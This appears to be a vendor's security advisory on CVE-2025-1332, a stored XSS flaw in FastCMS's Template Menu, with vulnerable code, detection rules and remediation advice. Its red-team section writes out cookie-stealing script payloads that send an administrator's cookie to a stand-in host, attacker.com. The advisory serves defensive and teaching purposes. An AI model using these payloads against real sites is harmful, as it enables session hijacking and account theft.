CVE-2025-1332
Executive Summary
CVE-2025-1332 is a stored Cross-Site Scripting (XSS) vulnerability in FastCMS up to version 0.1.5. The flaw resides in the Template Menu component, specifically within the /fastcms.html#/template/menu endpoint. An attacker can inject arbitrary JavaScript code into the application, which is then executed in the context of an administrator's browser when they view the affected menu. This can lead to session hijacking, credential theft, or defacement. The vulnerability is remotely exploitable and a proof-of-concept has been publicly disclosed. No official patch is available as the vendor relies on continuous delivery.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
FastCMS is a Java-based content management system. The vulnerability is in the application's own code, not in a third-party package. However, the lack of a versioned patch and reliance on rolling releases introduces supply chain risk, as downstream consumers cannot easily verify if they are running a fixed version.
CVSS Breakdown & Threat Level
CVSS Score: 5.4 (Medium) Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
- Attack Vector (AV): Network - The attack is launched remotely over the network.
- Attack Complexity (AC): Low - No special conditions are required.
- Privileges Required (PR): None - The attacker does not need to be authenticated.
- User Interaction (UI): Required - The victim must click on the crafted link or view the malicious content.
- Scope (S): Changed - The vulnerability can impact resources beyond the vulnerable component.
- Confidentiality (C): Low - Limited information disclosure.
- Integrity (I): Low - Limited ability to modify data.
- Availability (A): None - No impact on availability.
Threat Level: Medium. While the CVSS score is moderate, the public availability of exploit details and the lack of a clear patch increase the risk.
Deep Dive & Mechanics
The vulnerability is a classic stored XSS. The /fastcms.html#/template/menu endpoint is used to manage menu items in the FastCMS template system. The application fails to properly sanitize user-supplied input when creating or editing menu entries. An attacker can inject malicious HTML/JavaScript code into a menu name or URL field. When an administrator navigates to the Template Menu section, the injected script executes in their browser.
The attack flow:
- Attacker identifies a FastCMS instance (e.g., via Shodan dork).
- Attacker crafts a malicious payload, such as
<script>alert('XSS')</script>. - Attacker sends a request to create a new menu item with the payload in the name field.
- The server stores the payload without sanitization.
- When an admin visits
/fastcms.html#/template/menu, the browser renders the malicious script. - The script executes, potentially stealing cookies, session tokens, or performing actions on behalf of the admin.
Vulnerable vs. Patched Code
Since no official patch is available, we can only describe the vulnerable code pattern. The vulnerable code likely resembles:
// Vulnerable: Directly outputs user input without encoding
String menuName = request.getParameter("menuName");
// ... store in database ...
// Later, when rendering:
out.println("<li>" + menuName + "</li>");
A patched version would use proper output encoding:
// Patched: Encode output to prevent XSS
String menuName = request.getParameter("menuName");
// ... store in database ...
// Later, when rendering:
out.println("<li>" + StringEscapeUtils.escapeHtml4(menuName) + "</li>");
The fix requires context-aware encoding (HTML entity encoding for HTML context, JavaScript encoding for script contexts).
Exploitation & Lab Setup
Red Team
Lab Setup:
- Deploy FastCMS 0.1.5 in a Docker container.
- Access the admin panel at
http://localhost:8080/fastcms.html. - Navigate to Template Menu.
Exploitation Steps:
- Craft a payload to steal cookies:
<script>document.location='http://attacker.com/steal?cookie='+document.cookie</script> - Use a tool like Burp Suite to intercept the request when creating a new menu item.
- Inject the payload into the
menuNameparameter. - Send the request.
- Set up a listener on
attacker.comto capture the cookie. - When an admin views the menu, the script executes and sends the cookie to your server.
Alternative Payload (Session Hijacking):
<script>new Image().src='http://attacker.com/steal?cookie='+document.cookie;</script>
Blue Team
Detection:
- Monitor for unusual menu creation requests containing
<script>oronerrorattributes. - Look for outbound connections to unknown domains from the FastCMS server.
- Check web server logs for requests to
/fastcms.html#/template/menuwith suspicious parameters.
Hunting:
- Search for stored XSS indicators in the database:
SELECT * FROM menu_items WHERE name LIKE '%<script>%' OR name LIKE '%onerror%'; - Review browser console logs for CSP violations.
Indicators of Compromise (IOCs)
- Network:
- Outbound HTTP requests to attacker-controlled domains from the FastCMS server.
- Requests containing
document.cookiein the URL parameters.
- File System:
- Modified database entries in the menu table containing JavaScript code.
- Logs:
- Web server logs showing
POSTrequests to/fastcms.html#/template/menuwith unusual parameters. - Application logs showing errors related to script execution.
- Web server logs showing
Detection Engineering
YARA Rule
rule CVE_2025_1332_XSS_Payload {
meta:
description = "Detects XSS payloads targeting FastCMS CVE-2025-1332"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-1332"
strings:
$xss1 = /<script[^>]*>.*?<\/script>/is
$xss2 = /onerror\s*=\s*["']?[^"'\s>]+/is
$xss3 = /onload\s*=\s*["']?[^"'\s>]+/is
$xss4 = /javascript\s*:/is
condition:
any of them
}
Sigma Rule
title: FastCMS Template Menu XSS Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects attempts to exploit CVE-2025-1332 by injecting XSS payloads into the Template Menu endpoint.
author: Valters IT
date: 2025/04/10
references:
- https://nvd.nist.gov/vuln/detail/CVE-2025-1332
logsource:
category: webserver
product: apache
service: http
detection:
selection:
cs-method: 'POST'
cs-uri-query|contains: '/fastcms.html#/template/menu'
keywords:
- '<script>'
- 'onerror='
- 'onload='
- 'javascript:'
condition: selection and keywords
falsepositives:
- Legitimate use of JavaScript in menu names (unlikely)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2025-1332 FastCMS Template Menu XSS Attempt"; flow:to_server; content:"POST"; http_method; content:"/fastcms.html#/template/menu"; http_uri; pcre:"/(<script|onerror|onload|javascript:)/i"; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable Template Menu: If not required, restrict access to the
/fastcms.html#/template/menuendpoint via web server configuration (e.g.,.htaccessor Nginxlocationblock). - Input Validation: Implement strict input validation on the server side. Reject any input containing HTML tags or JavaScript event handlers.
- Output Encoding: Ensure all user-supplied data is HTML-entity encoded before rendering in the browser. Use a library like OWASP Java Encoder.
- Content Security Policy (CSP): Deploy a strict CSP header to mitigate the impact of XSS:
Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none'; - Web Application Firewall (WAF): Create a WAF rule to block requests containing XSS patterns to the vulnerable endpoint.
Long-Term Fix:
- Monitor the FastCMS repository for a rolling release that addresses this issue.
- Consider migrating to a more actively maintained CMS if no fix is provided.
Valters IT